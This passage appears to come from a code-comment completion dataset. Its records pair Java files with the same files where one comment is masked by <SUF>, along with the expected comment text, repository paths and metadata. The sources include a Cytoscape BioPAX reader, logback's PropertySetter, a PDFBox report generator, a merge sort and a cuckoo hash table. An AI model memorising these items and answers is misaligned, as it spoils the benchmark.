BioPaxContainer bpContainer = BioPaxContainer.getInstance(); bpContainer.showLegend(); NetworkListener networkListener = bpContainer.getNetworkListener(); networkListener.registerNetwork(cyNetwork); } public String getNetworkName() { String backupName = "Unknown", networkName = null; for(pathway aPathway: biopaxModel.getObjects(pathway.class)) { String aName = BioPAXUtil.getNameSmart(aPathway); if( aName != null && aName.length() != 0 ) backupName = aName; // back-up name else continue; if( aPathway.isPATHWAY_COMPONENTSof().isEmpty() ) networkName = backupName; } return (networkName == null ? backupName : networkName); } }
nrnb/gsoc2008arman
PaxtoolsPlugin/src/org/biyoenformatik/cytoscape/PaxtoolsReader.java
2,111
// get cyNetwork id
line_comment
nl
/* Copyright 2008 - The Cytoscape Consortium (www.cytoscape.org) * * The Cytoscape Consortium is: * - Institute for Systems Biology * - University of California San Diego * - Memorial Sloan-Kettering Cancer Center * - Institut Pasteur * - Agilent Technologies * * Authors: B. Arman Aksoy, Thomas Kelder, Emek Demir * * This file is part of PaxtoolsPlugin. * * PaxtoolsPlugin is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * PaxtoolsPlugin is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this project. If not, see <http://www.gnu.org/licenses/>. */ package org.biyoenformatik.cytoscape; import cytoscape.data.readers.GraphReader; import cytoscape.data.CyAttributes; import cytoscape.layout.CyLayoutAlgorithm; import cytoscape.util.CyNetworkNaming; import cytoscape.CyNetwork; import cytoscape.CyNode; import cytoscape.CyEdge; import cytoscape.Cytoscape; import cytoscape.visual.VisualStyle; import cytoscape.visual.VisualMappingManager; import cytoscape.view.CyNetworkView; import org.biopax.paxtools.model.Model; import org.biopax.paxtools.model.level2.*; import org.biopax.paxtools.io.jena.JenaIOHandler; import org.biyoenformatik.cytoscape.util.BioPAXUtil; import org.mskcc.biopax_plugin.util.cytoscape.CytoscapeWrapper; import org.mskcc.biopax_plugin.util.cytoscape.NetworkListener; import org.mskcc.biopax_plugin.util.cytoscape.LayoutUtil; import org.mskcc.biopax_plugin.style.BioPaxVisualStyleUtil; import org.mskcc.biopax_plugin.view.BioPaxContainer; import org.mskcc.biopax_plugin.mapping.MapBioPaxToCytoscape; import org.mskcc.biopax_plugin.mapping.MapNodeAttributes; import java.io.*; import giny.view.GraphView; public class PaxtoolsReader implements GraphReader { private Model biopaxModel = null; private String fileName = null; private CyLayoutAlgorithm layoutAlgorithm; private int[] nodeIndices, edgeIndices; public PaxtoolsReader(String fileName) { this.fileName = fileName; this.layoutAlgorithm = new LayoutUtil(); } public PaxtoolsReader(Model biopaxModel) { this.biopaxModel = biopaxModel; this.layoutAlgorithm = new LayoutUtil(); } public void read() throws IOException { if( biopaxModel == null ) { FileInputStream ioStream = new FileInputStream(fileName); biopaxModel = new JenaIOHandler().convertFromOWL(ioStream); } BioPAXUtil.CytoscapeGraphElements csGraphEls = BioPAXUtil.bioPAXtoCytoscapeGraph(biopaxModel); nodeIndices = new int[csGraphEls.nodes.size()]; edgeIndices = new int[csGraphEls.edges.size()]; int count = 0; for(CyNode node: csGraphEls.nodes) nodeIndices[count++] = node.getRootGraphIndex(); count = 0; for(CyEdge edge: csGraphEls.edges) edgeIndices[count++] = edge.getRootGraphIndex(); } public void layout(GraphView view) { getLayoutAlgorithm().doLayout((CyNetworkView) view); } public CyLayoutAlgorithm getLayoutAlgorithm() { return layoutAlgorithm; } public int[] getNodeIndicesArray() { return nodeIndices; } public int[] getEdgeIndicesArray() { return edgeIndices; } public void doPostProcessing(CyNetwork cyNetwork) { /** * Sets a network attribute which indicates this network * is a biopax network */ CyAttributes networkAttributes = Cytoscape.getNetworkAttributes(); // get cyNetwork<SUF> String networkID = cyNetwork.getIdentifier(); // set biopax network attribute networkAttributes.setAttribute(networkID, MapBioPaxToCytoscape.BIOPAX_NETWORK, Boolean.TRUE); // Repair Canonical Name MapBioPaxToCytoscape.repairCanonicalName(cyNetwork); // repair network name if (getNetworkName().equals("")) { MapBioPaxToCytoscape.repairNetworkName(cyNetwork); } // Set default Quick Find Index networkAttributes.setAttribute(cyNetwork.getIdentifier(), "quickfind.default_index", MapNodeAttributes.BIOPAX_SHORT_NAME); // Keep the model map BioPAXUtil.setNetworkModel(cyNetwork, biopaxModel); // set url to pathway commons - // used for pathway commons context menus String urlToBioPAXWebServices = System.getProperty("biopax.web_services_url"); if (urlToBioPAXWebServices != null && urlToBioPAXWebServices.length() > 0) { networkAttributes.setAttribute(cyNetwork.getIdentifier(), "biopax.web_services_url", urlToBioPAXWebServices); System.setProperty("biopax.web_services_url", ""); } // set data source attribute // used for pathway commons context menus String dataSources = System.getProperty("biopax.data_sources"); if (dataSources != null && dataSources.length() > 0) { networkAttributes.setAttribute(cyNetwork.getIdentifier(), "biopax.data_sources", dataSources); System.setProperty("biopax.data_sources", ""); } // Set-up the BioPax Visual Style final VisualStyle bioPaxVisualStyle = BioPaxVisualStyleUtil.getBioPaxVisualStyle(); final VisualMappingManager manager = Cytoscape.getVisualMappingManager(); final CyNetworkView view = Cytoscape.getNetworkView(cyNetwork.getIdentifier()); view.setVisualStyle(bioPaxVisualStyle.getName()); manager.setVisualStyle(bioPaxVisualStyle); view.applyVizmapper(bioPaxVisualStyle); // Set up BP UI CytoscapeWrapper.initBioPaxPlugInUI(); BioPaxContainer bpContainer = BioPaxContainer.getInstance(); bpContainer.showLegend(); NetworkListener networkListener = bpContainer.getNetworkListener(); networkListener.registerNetwork(cyNetwork); } public String getNetworkName() { String backupName = "Unknown", networkName = null; for(pathway aPathway: biopaxModel.getObjects(pathway.class)) { String aName = BioPAXUtil.getNameSmart(aPathway); if( aName != null && aName.length() != 0 ) backupName = aName; // back-up name else continue; if( aPathway.isPATHWAY_COMPONENTSof().isEmpty() ) networkName = backupName; } return (networkName == null ? backupName : networkName); } }
False
1,622
5
1,802
5
1,816
5
1,802
5
2,119
5
false
false
false
false
false
true
4,080
74582_1
/** * Logback: the reliable, generic, fast and flexible logging framework. * Copyright (C) 1999-2015, QOS.ch. All rights reserved. * * This program and the accompanying materials are dual-licensed under * either the terms of the Eclipse Public License v1.0 as published by * the Eclipse Foundation * * or (per the licensee's choosing) * * under the terms of the GNU Lesser General Public License version 2.1 * as published by the Free Software Foundation. */ // Contributors: Georg Lundesgaard package ch.qos.logback.core.joran.util; import ch.qos.logback.core.Context; import ch.qos.logback.core.joran.spi.DefaultNestedComponentRegistry; import ch.qos.logback.core.joran.util.beans.BeanDescription; import ch.qos.logback.core.joran.util.beans.BeanDescriptionCache; import ch.qos.logback.core.spi.ContextAwareBase; import ch.qos.logback.core.util.AggregationType; import ch.qos.logback.core.util.PropertySetterException; import ch.qos.logback.core.util.StringUtil; import java.lang.reflect.Method; /** * General purpose Object property setter. Clients repeatedly invokes * {@link #setProperty setProperty(name,value)} in order to invoke setters on * the Object specified in the constructor. This class relies on reflection to * analyze the given Object Class. * * <p> * Usage: * * <pre> * PropertySetter ps = new PropertySetter(anObject); * ps.set(&quot;name&quot;, &quot;Joe&quot;); * ps.set(&quot;age&quot;, &quot;32&quot;); * ps.set(&quot;isMale&quot;, &quot;true&quot;); * </pre> * * will cause the invocations anObject.setName("Joe"), anObject.setAge(32), and * setMale(true) if such methods exist with those signatures. Otherwise an * {@link PropertySetterException} is thrown. * * @author Anders Kristensen * @author Ceki Gulcu */ public class PropertySetter extends ContextAwareBase { protected final Object obj; protected final Class<?> objClass; protected final BeanDescription beanDescription; protected final AggregationAssessor aggregationAssessor; /** * Create a new PropertySetter for the specified Object. This is done in * preparation for invoking {@link #setProperty} one or more times. * * @param obj the object for which to set properties */ public PropertySetter(BeanDescriptionCache beanDescriptionCache, Object obj) { this.obj = obj; this.objClass = obj.getClass(); this.beanDescription = beanDescriptionCache.getBeanDescription(objClass); this.aggregationAssessor = new AggregationAssessor(beanDescriptionCache, this.objClass); } @Override public void setContext(Context context) { super.setContext(context); aggregationAssessor.setContext(context); } /** * Set a property on this PropertySetter's Object. If successful, this method * will invoke a setter method on the underlying Object. The setter is the one * for the specified property name and the value is determined partly from the * setter argument type and partly from the value specified in the call to this * method. * * <p> * If the setter expects a String no conversion is necessary. If it expects an * int, then an attempt is made to convert 'value' to an int using new * Integer(value). If the setter expects a boolean, the conversion is by new * Boolean(value). * * @param name name of the property * @param value String value of the property */ public void setProperty(String name, String value) { if (value == null) { return; } Method setter = aggregationAssessor.findSetterMethod(name); if (setter == null) { addWarn("No setter for property [" + name + "] in " + objClass.getName() + "."); } else { try { setProperty(setter, value); } catch (PropertySetterException ex) { addWarn("Failed to set property [" + name + "] to value \"" + value + "\". ", ex); } } } /** * Set the named property using a {@link Method setter}. * * @param setter A Method describing the characteristics of the * property to set. * @param value The value of the property. */ private void setProperty(Method setter, String value) throws PropertySetterException { Class<?>[] paramTypes = setter.getParameterTypes(); Object arg; try { arg = StringToObjectConverter.convertArg(this, value, paramTypes[0]); } catch (Throwable t) { throw new PropertySetterException("Conversion to type [" + paramTypes[0] + "] failed. ", t); } if (arg == null) { throw new PropertySetterException("Conversion to type [" + paramTypes[0] + "] failed."); } try { setter.invoke(obj, arg); } catch (Exception ex) { throw new PropertySetterException(ex); } } public AggregationType computeAggregationType(String name) { return this.aggregationAssessor.computeAggregationType(name); } // private Method findAdderMethod(String name) { // String propertyName = BeanUtil.toLowerCamelCase(name); // return beanDescription.getAdder(propertyName); // } // // private Method findSetterMethod(String name) { // String propertyName = BeanUtil.toLowerCamelCase(name); // return beanDescription.getSetter(propertyName); // } // private Class<?> getParameterClassForMethod(Method method) { // if (method == null) { // return null; // } // Class<?>[] classArray = method.getParameterTypes(); // if (classArray.length != 1) { // return null; // } else { // return classArray[0]; // } // } // private AggregationType computeRawAggregationType(Method method) { // Class<?> parameterClass = getParameterClassForMethod(method); // if (parameterClass == null) { // return AggregationType.NOT_FOUND; // } // if (StringToObjectConverter.canBeBuiltFromSimpleString(parameterClass)) { // return AggregationType.AS_BASIC_PROPERTY; // } else { // return AggregationType.AS_COMPLEX_PROPERTY; // } // } public Class<?> getObjClass() { return objClass; } public void addComplexProperty(String name, Object complexProperty) { Method adderMethod = aggregationAssessor.findAdderMethod(name); // first let us use the addXXX method if (adderMethod != null) { Class<?>[] paramTypes = adderMethod.getParameterTypes(); if (!isSanityCheckSuccessful(name, adderMethod, paramTypes, complexProperty)) { return; } invokeMethodWithSingleParameterOnThisObject(adderMethod, complexProperty); } else { addError("Could not find method [" + "add" + name + "] in class [" + objClass.getName() + "]."); } } void invokeMethodWithSingleParameterOnThisObject(Method method, Object parameter) { Class<?> ccc = parameter.getClass(); try { method.invoke(this.obj, parameter); } catch (Exception e) { addError("Could not invoke method " + method.getName() + " in class " + obj.getClass().getName() + " with parameter of type " + ccc.getName(), e); } } public void addBasicProperty(String name, String strValue) { if (strValue == null) { return; } name = StringUtil.capitalizeFirstLetter(name); Method adderMethod =aggregationAssessor.findAdderMethod(name); if (adderMethod == null) { addError("No adder for property [" + name + "]."); return; } Class<?>[] paramTypes = adderMethod.getParameterTypes(); isSanityCheckSuccessful(name, adderMethod, paramTypes, strValue); Object arg; try { arg = StringToObjectConverter.convertArg(this, strValue, paramTypes[0]); } catch (Throwable t) { addError("Conversion to type [" + paramTypes[0] + "] failed. ", t); return; } if (arg != null) { invokeMethodWithSingleParameterOnThisObject(adderMethod, arg); } } public void setComplexProperty(String name, Object complexProperty) { Method setter = aggregationAssessor.findSetterMethod(name); if (setter == null) { addWarn("Not setter method for property [" + name + "] in " + obj.getClass().getName()); return; } Class<?>[] paramTypes = setter.getParameterTypes(); if (!isSanityCheckSuccessful(name, setter, paramTypes, complexProperty)) { return; } try { invokeMethodWithSingleParameterOnThisObject(setter, complexProperty); } catch (Exception e) { addError("Could not set component " + obj + " for parent component " + obj, e); } } private boolean isSanityCheckSuccessful(String name, Method method, Class<?>[] params, Object complexProperty) { Class<?> ccc = complexProperty.getClass(); if (params.length != 1) { addError("Wrong number of parameters in setter method for property [" + name + "] in " + obj.getClass().getName()); return false; } if (!params[0].isAssignableFrom(complexProperty.getClass())) { addError("A \"" + ccc.getName() + "\" object is not assignable to a \"" + params[0].getName() + "\" variable."); addError("The class \"" + params[0].getName() + "\" was loaded by "); addError("[" + params[0].getClassLoader() + "] whereas object of type "); addError("\"" + ccc.getName() + "\" was loaded by [" + ccc.getClassLoader() + "]."); return false; } return true; } public Object getObj() { return obj; } public Class<?> getClassNameViaImplicitRules(String name, AggregationType aggregationType, DefaultNestedComponentRegistry registry) { return aggregationAssessor.getClassNameViaImplicitRules(name, aggregationType, registry); } }
qos-ch/logback
logback-core/src/main/java/ch/qos/logback/core/joran/util/PropertySetter.java
2,835
// Contributors: Georg Lundesgaard
line_comment
nl
/** * Logback: the reliable, generic, fast and flexible logging framework. * Copyright (C) 1999-2015, QOS.ch. All rights reserved. * * This program and the accompanying materials are dual-licensed under * either the terms of the Eclipse Public License v1.0 as published by * the Eclipse Foundation * * or (per the licensee's choosing) * * under the terms of the GNU Lesser General Public License version 2.1 * as published by the Free Software Foundation. */ // Contributors: <SUF> package ch.qos.logback.core.joran.util; import ch.qos.logback.core.Context; import ch.qos.logback.core.joran.spi.DefaultNestedComponentRegistry; import ch.qos.logback.core.joran.util.beans.BeanDescription; import ch.qos.logback.core.joran.util.beans.BeanDescriptionCache; import ch.qos.logback.core.spi.ContextAwareBase; import ch.qos.logback.core.util.AggregationType; import ch.qos.logback.core.util.PropertySetterException; import ch.qos.logback.core.util.StringUtil; import java.lang.reflect.Method; /** * General purpose Object property setter. Clients repeatedly invokes * {@link #setProperty setProperty(name,value)} in order to invoke setters on * the Object specified in the constructor. This class relies on reflection to * analyze the given Object Class. * * <p> * Usage: * * <pre> * PropertySetter ps = new PropertySetter(anObject); * ps.set(&quot;name&quot;, &quot;Joe&quot;); * ps.set(&quot;age&quot;, &quot;32&quot;); * ps.set(&quot;isMale&quot;, &quot;true&quot;); * </pre> * * will cause the invocations anObject.setName("Joe"), anObject.setAge(32), and * setMale(true) if such methods exist with those signatures. Otherwise an * {@link PropertySetterException} is thrown. * * @author Anders Kristensen * @author Ceki Gulcu */ public class PropertySetter extends ContextAwareBase { protected final Object obj; protected final Class<?> objClass; protected final BeanDescription beanDescription; protected final AggregationAssessor aggregationAssessor; /** * Create a new PropertySetter for the specified Object. This is done in * preparation for invoking {@link #setProperty} one or more times. * * @param obj the object for which to set properties */ public PropertySetter(BeanDescriptionCache beanDescriptionCache, Object obj) { this.obj = obj; this.objClass = obj.getClass(); this.beanDescription = beanDescriptionCache.getBeanDescription(objClass); this.aggregationAssessor = new AggregationAssessor(beanDescriptionCache, this.objClass); } @Override public void setContext(Context context) { super.setContext(context); aggregationAssessor.setContext(context); } /** * Set a property on this PropertySetter's Object. If successful, this method * will invoke a setter method on the underlying Object. The setter is the one * for the specified property name and the value is determined partly from the * setter argument type and partly from the value specified in the call to this * method. * * <p> * If the setter expects a String no conversion is necessary. If it expects an * int, then an attempt is made to convert 'value' to an int using new * Integer(value). If the setter expects a boolean, the conversion is by new * Boolean(value). * * @param name name of the property * @param value String value of the property */ public void setProperty(String name, String value) { if (value == null) { return; } Method setter = aggregationAssessor.findSetterMethod(name); if (setter == null) { addWarn("No setter for property [" + name + "] in " + objClass.getName() + "."); } else { try { setProperty(setter, value); } catch (PropertySetterException ex) { addWarn("Failed to set property [" + name + "] to value \"" + value + "\". ", ex); } } } /** * Set the named property using a {@link Method setter}. * * @param setter A Method describing the characteristics of the * property to set. * @param value The value of the property. */ private void setProperty(Method setter, String value) throws PropertySetterException { Class<?>[] paramTypes = setter.getParameterTypes(); Object arg; try { arg = StringToObjectConverter.convertArg(this, value, paramTypes[0]); } catch (Throwable t) { throw new PropertySetterException("Conversion to type [" + paramTypes[0] + "] failed. ", t); } if (arg == null) { throw new PropertySetterException("Conversion to type [" + paramTypes[0] + "] failed."); } try { setter.invoke(obj, arg); } catch (Exception ex) { throw new PropertySetterException(ex); } } public AggregationType computeAggregationType(String name) { return this.aggregationAssessor.computeAggregationType(name); } // private Method findAdderMethod(String name) { // String propertyName = BeanUtil.toLowerCamelCase(name); // return beanDescription.getAdder(propertyName); // } // // private Method findSetterMethod(String name) { // String propertyName = BeanUtil.toLowerCamelCase(name); // return beanDescription.getSetter(propertyName); // } // private Class<?> getParameterClassForMethod(Method method) { // if (method == null) { // return null; // } // Class<?>[] classArray = method.getParameterTypes(); // if (classArray.length != 1) { // return null; // } else { // return classArray[0]; // } // } // private AggregationType computeRawAggregationType(Method method) { // Class<?> parameterClass = getParameterClassForMethod(method); // if (parameterClass == null) { // return AggregationType.NOT_FOUND; // } // if (StringToObjectConverter.canBeBuiltFromSimpleString(parameterClass)) { // return AggregationType.AS_BASIC_PROPERTY; // } else { // return AggregationType.AS_COMPLEX_PROPERTY; // } // } public Class<?> getObjClass() { return objClass; } public void addComplexProperty(String name, Object complexProperty) { Method adderMethod = aggregationAssessor.findAdderMethod(name); // first let us use the addXXX method if (adderMethod != null) { Class<?>[] paramTypes = adderMethod.getParameterTypes(); if (!isSanityCheckSuccessful(name, adderMethod, paramTypes, complexProperty)) { return; } invokeMethodWithSingleParameterOnThisObject(adderMethod, complexProperty); } else { addError("Could not find method [" + "add" + name + "] in class [" + objClass.getName() + "]."); } } void invokeMethodWithSingleParameterOnThisObject(Method method, Object parameter) { Class<?> ccc = parameter.getClass(); try { method.invoke(this.obj, parameter); } catch (Exception e) { addError("Could not invoke method " + method.getName() + " in class " + obj.getClass().getName() + " with parameter of type " + ccc.getName(), e); } } public void addBasicProperty(String name, String strValue) { if (strValue == null) { return; } name = StringUtil.capitalizeFirstLetter(name); Method adderMethod =aggregationAssessor.findAdderMethod(name); if (adderMethod == null) { addError("No adder for property [" + name + "]."); return; } Class<?>[] paramTypes = adderMethod.getParameterTypes(); isSanityCheckSuccessful(name, adderMethod, paramTypes, strValue); Object arg; try { arg = StringToObjectConverter.convertArg(this, strValue, paramTypes[0]); } catch (Throwable t) { addError("Conversion to type [" + paramTypes[0] + "] failed. ", t); return; } if (arg != null) { invokeMethodWithSingleParameterOnThisObject(adderMethod, arg); } } public void setComplexProperty(String name, Object complexProperty) { Method setter = aggregationAssessor.findSetterMethod(name); if (setter == null) { addWarn("Not setter method for property [" + name + "] in " + obj.getClass().getName()); return; } Class<?>[] paramTypes = setter.getParameterTypes(); if (!isSanityCheckSuccessful(name, setter, paramTypes, complexProperty)) { return; } try { invokeMethodWithSingleParameterOnThisObject(setter, complexProperty); } catch (Exception e) { addError("Could not set component " + obj + " for parent component " + obj, e); } } private boolean isSanityCheckSuccessful(String name, Method method, Class<?>[] params, Object complexProperty) { Class<?> ccc = complexProperty.getClass(); if (params.length != 1) { addError("Wrong number of parameters in setter method for property [" + name + "] in " + obj.getClass().getName()); return false; } if (!params[0].isAssignableFrom(complexProperty.getClass())) { addError("A \"" + ccc.getName() + "\" object is not assignable to a \"" + params[0].getName() + "\" variable."); addError("The class \"" + params[0].getName() + "\" was loaded by "); addError("[" + params[0].getClassLoader() + "] whereas object of type "); addError("\"" + ccc.getName() + "\" was loaded by [" + ccc.getClassLoader() + "]."); return false; } return true; } public Object getObj() { return obj; } public Class<?> getClassNameViaImplicitRules(String name, AggregationType aggregationType, DefaultNestedComponentRegistry registry) { return aggregationAssessor.getClassNameViaImplicitRules(name, aggregationType, registry); } }
False
2,250
8
2,479
11
2,578
8
2,479
11
2,860
11
false
false
false
false
false
true
4,070
133656_0
package net.finah.GUI; import java.io.FileNotFoundException; import java.io.IOException; import java.util.ArrayList; import javax.swing.JFrame; import javax.swing.JOptionPane; import net.finah.API.API; import net.finah.API.Antwoord; import org.apache.pdfbox.exceptions.COSVisitorException; import org.apache.pdfbox.pdmodel.PDDocument; import org.apache.pdfbox.pdmodel.PDPage; import org.apache.pdfbox.pdmodel.edit.PDPageContentStream; import org.apache.pdfbox.pdmodel.font.PDType1Font; public class PDFMaker { public static void drawTable(PDPage page, PDPageContentStream contentStream, float y, float margin, String[][] content, int ID) throws IOException { final int rows = content.length; final int cols = content[0].length; final float rowHeight = 20f; final float tableWidth = page.findMediaBox().getWidth() - (2 * margin); final float tableHeight = rowHeight * rows; final float colWidth = tableWidth / (float) cols; final float cellMargin = 5f; // rijen float nexty = y; for (int i = 0; i <= rows; i++) { contentStream.drawLine(margin, nexty, margin + tableWidth, nexty); nexty -= rowHeight; } // kolommen float nextx = margin; for (int i = 0; i <= cols; i++) { contentStream.drawLine(nextx, y, nextx, y - tableHeight); nextx += colWidth; } // tekst toe te voegen String rapport = "Rapport " + ID; contentStream.setFont(PDType1Font.HELVETICA_BOLD, 25); contentStream.beginText(); contentStream.moveTextPositionByAmount(250, 700); contentStream.drawString(rapport); contentStream.endText(); float textx = margin + cellMargin; float texty = y - 15; for (int i = 0; i < content.length; i++) { for (int j = 0; j < content[i].length; j++) { String text = content[i][j]; contentStream.setFont(PDType1Font.HELVETICA_BOLD, 12); contentStream.beginText(); contentStream.moveTextPositionByAmount(textx, texty); contentStream.drawString(text); contentStream.endText(); textx += colWidth; } texty -= rowHeight; textx = margin + cellMargin; } } public static void bekijkRapport(int ID) throws IOException, COSVisitorException { PDDocument doc = new PDDocument(); PDPage page = new PDPage(); doc.addPage(page); PDPageContentStream contentStream = new PDPageContentStream(doc, page); ArrayList<Antwoord> antwoorden = new ArrayList<Antwoord>(); try { antwoorden = API.getAntwoordLijst(ID); } catch (FileNotFoundException e) { JFrame frame = new JFrame(); JOptionPane.showMessageDialog(frame, "Dit is een leeg rapport", "Leeg rapport", JOptionPane.WARNING_MESSAGE); } int i = 1; int size = antwoorden.size(); String[][] content = new String[size + 1][4]; content[0][0] = " ID "; content[0][1] = " Vraag ID "; content[0][2] = " Antwoord "; content[0][3] = " Extra Vraag "; if (antwoorden.size() != 0) { for (Antwoord antwoord : antwoorden) { content[i][0] = antwoord.getId() + " "; content[i][1] = antwoord.getVraag_Id() + " "; content[i][2] = antwoord.getAntwoordInt() + " "; content[i][3] = antwoord.getAntwoordExtra() + " "; i++; } } drawTable(page, contentStream, 675, 100, content, ID); contentStream.close(); doc.save("Rapport_" + ID + ".pdf"); } }
pxlit-projects/AD_IT04
finah-desktop-java/src/net/finah/GUI/PDFMaker.java
1,148
// tekst toe te voegen
line_comment
nl
package net.finah.GUI; import java.io.FileNotFoundException; import java.io.IOException; import java.util.ArrayList; import javax.swing.JFrame; import javax.swing.JOptionPane; import net.finah.API.API; import net.finah.API.Antwoord; import org.apache.pdfbox.exceptions.COSVisitorException; import org.apache.pdfbox.pdmodel.PDDocument; import org.apache.pdfbox.pdmodel.PDPage; import org.apache.pdfbox.pdmodel.edit.PDPageContentStream; import org.apache.pdfbox.pdmodel.font.PDType1Font; public class PDFMaker { public static void drawTable(PDPage page, PDPageContentStream contentStream, float y, float margin, String[][] content, int ID) throws IOException { final int rows = content.length; final int cols = content[0].length; final float rowHeight = 20f; final float tableWidth = page.findMediaBox().getWidth() - (2 * margin); final float tableHeight = rowHeight * rows; final float colWidth = tableWidth / (float) cols; final float cellMargin = 5f; // rijen float nexty = y; for (int i = 0; i <= rows; i++) { contentStream.drawLine(margin, nexty, margin + tableWidth, nexty); nexty -= rowHeight; } // kolommen float nextx = margin; for (int i = 0; i <= cols; i++) { contentStream.drawLine(nextx, y, nextx, y - tableHeight); nextx += colWidth; } // tekst toe<SUF> String rapport = "Rapport " + ID; contentStream.setFont(PDType1Font.HELVETICA_BOLD, 25); contentStream.beginText(); contentStream.moveTextPositionByAmount(250, 700); contentStream.drawString(rapport); contentStream.endText(); float textx = margin + cellMargin; float texty = y - 15; for (int i = 0; i < content.length; i++) { for (int j = 0; j < content[i].length; j++) { String text = content[i][j]; contentStream.setFont(PDType1Font.HELVETICA_BOLD, 12); contentStream.beginText(); contentStream.moveTextPositionByAmount(textx, texty); contentStream.drawString(text); contentStream.endText(); textx += colWidth; } texty -= rowHeight; textx = margin + cellMargin; } } public static void bekijkRapport(int ID) throws IOException, COSVisitorException { PDDocument doc = new PDDocument(); PDPage page = new PDPage(); doc.addPage(page); PDPageContentStream contentStream = new PDPageContentStream(doc, page); ArrayList<Antwoord> antwoorden = new ArrayList<Antwoord>(); try { antwoorden = API.getAntwoordLijst(ID); } catch (FileNotFoundException e) { JFrame frame = new JFrame(); JOptionPane.showMessageDialog(frame, "Dit is een leeg rapport", "Leeg rapport", JOptionPane.WARNING_MESSAGE); } int i = 1; int size = antwoorden.size(); String[][] content = new String[size + 1][4]; content[0][0] = " ID "; content[0][1] = " Vraag ID "; content[0][2] = " Antwoord "; content[0][3] = " Extra Vraag "; if (antwoorden.size() != 0) { for (Antwoord antwoord : antwoorden) { content[i][0] = antwoord.getId() + " "; content[i][1] = antwoord.getVraag_Id() + " "; content[i][2] = antwoord.getAntwoordInt() + " "; content[i][3] = antwoord.getAntwoordExtra() + " "; i++; } } drawTable(page, contentStream, 675, 100, content, ID); contentStream.close(); doc.save("Rapport_" + ID + ".pdf"); } }
True
939
6
1,122
8
1,059
5
1,122
8
1,262
7
false
false
false
false
false
true
3,655
67718_5
import java.util.jar.Attributes.Name; public class DivideAndConquer { public static void printArray(int arr[]) { for (int i = 0; i < arr.length; i++) { System.out.print(arr[i] + " "); } System.out.println(); } public static void mergeSort(int arr[], int si, int ei) { // base case if (si >= ei) { return; } // kaam int mid = (si + ei) / 2; // int mid = si + (ei - si) / 2; // calling innerfunction mergeSort(arr, si, mid);// sortting for left mergeSort(arr, mid + 1, ei);// sortting for right // merging both left& right part merge(arr, si, mid, ei); } public static void merge(int arr[], int si, int mid, int ei) { int temp[] = new int[ei - si + 1]; int i = si; int j = mid + 1; int k = 0;// temp array while (i <= mid && j <= ei) { if (arr[i] < arr[j]) { temp[k] = arr[i]; i++; k++; // i ko temp mei store kar dunga } else { temp[k] = arr[j]; j++; k++; } // k++; } // leeft over element while (i <= mid) { temp[k++] = arr[i++]; } // right part while (j <= ei) { temp[k++] = arr[j++]; } // copy temp to orignal array for (k = 0, i = si; k < temp.length; k++, i++) { arr[i] = temp[k]; } } public static void Name() { int n = 50, k = 5; for (int i = 0; i < n; i = i + k) { for (int j = i + 1; j <= k; j++) { System.out.print("i = " + i + " "); System.out.print("j= " + j + " "); } } } public static int power(int a, int n) { if (n == 0) { return 1; } return a * power(a, n - 1); } public static void main(String[] args) { int arr[] = { 6, 3, 9, 10, 2, 18, 1 }; // System.out.println("before"); // printArray(arr); mergeSort(arr, 0, arr.length - 1); // System.out.println("After "); // printArray(arr); // int a = 3; // int b = 2; // int c = (a + b) / 2; // System.out.println("addition is " + c); // Name(); // System.out.println(power(2, 5)); // int a=3; // System.out.println(a/2); } }
mihirkate/DSA-IN-AVA
21.Divide &Conquer/DivideAndConquer.java
860
// leeft over element
line_comment
nl
import java.util.jar.Attributes.Name; public class DivideAndConquer { public static void printArray(int arr[]) { for (int i = 0; i < arr.length; i++) { System.out.print(arr[i] + " "); } System.out.println(); } public static void mergeSort(int arr[], int si, int ei) { // base case if (si >= ei) { return; } // kaam int mid = (si + ei) / 2; // int mid = si + (ei - si) / 2; // calling innerfunction mergeSort(arr, si, mid);// sortting for left mergeSort(arr, mid + 1, ei);// sortting for right // merging both left& right part merge(arr, si, mid, ei); } public static void merge(int arr[], int si, int mid, int ei) { int temp[] = new int[ei - si + 1]; int i = si; int j = mid + 1; int k = 0;// temp array while (i <= mid && j <= ei) { if (arr[i] < arr[j]) { temp[k] = arr[i]; i++; k++; // i ko temp mei store kar dunga } else { temp[k] = arr[j]; j++; k++; } // k++; } // leeft over<SUF> while (i <= mid) { temp[k++] = arr[i++]; } // right part while (j <= ei) { temp[k++] = arr[j++]; } // copy temp to orignal array for (k = 0, i = si; k < temp.length; k++, i++) { arr[i] = temp[k]; } } public static void Name() { int n = 50, k = 5; for (int i = 0; i < n; i = i + k) { for (int j = i + 1; j <= k; j++) { System.out.print("i = " + i + " "); System.out.print("j= " + j + " "); } } } public static int power(int a, int n) { if (n == 0) { return 1; } return a * power(a, n - 1); } public static void main(String[] args) { int arr[] = { 6, 3, 9, 10, 2, 18, 1 }; // System.out.println("before"); // printArray(arr); mergeSort(arr, 0, arr.length - 1); // System.out.println("After "); // printArray(arr); // int a = 3; // int b = 2; // int c = (a + b) / 2; // System.out.println("addition is " + c); // Name(); // System.out.println(power(2, 5)); // int a=3; // System.out.println(a/2); } }
True
701
5
750
5
826
5
750
5
857
5
false
false
false
false
false
true
3,719
24632_6
/* * Morgan Stanley makes this available to you under the Apache License, Version 2.0 (the "License"). * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0. * See the NOTICE file distributed with this work for additional information regarding copyright ownership. * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.ms.silverking.collection.cuckoo; import java.nio.ByteBuffer; import java.nio.IntBuffer; import java.util.Iterator; import com.ms.silverking.cloud.dht.collection.DHTKeyCuckooBase; import com.ms.silverking.cloud.dht.collection.DHTKeyIntEntry; import com.ms.silverking.cloud.dht.common.DHTKey; import org.slf4j.LoggerFactory; import org.slf4j.Logger; /** */ public class IntBufferCuckoo extends CuckooBase<Integer> implements Iterable<IntKeyIntEntry> { private final SubTable[] subTables; private static final int empty = IntCuckooConstants.empty; private static final int[] extraShiftPerTable = {-1, -1, 32, -1, 16, -1, -1, -1, 8}; private static Logger log = LoggerFactory.getLogger(IntBufferCuckoo.class); private static final boolean debug = false; private static final boolean debugCycle = false; // entry - key/value entry // bucket - group 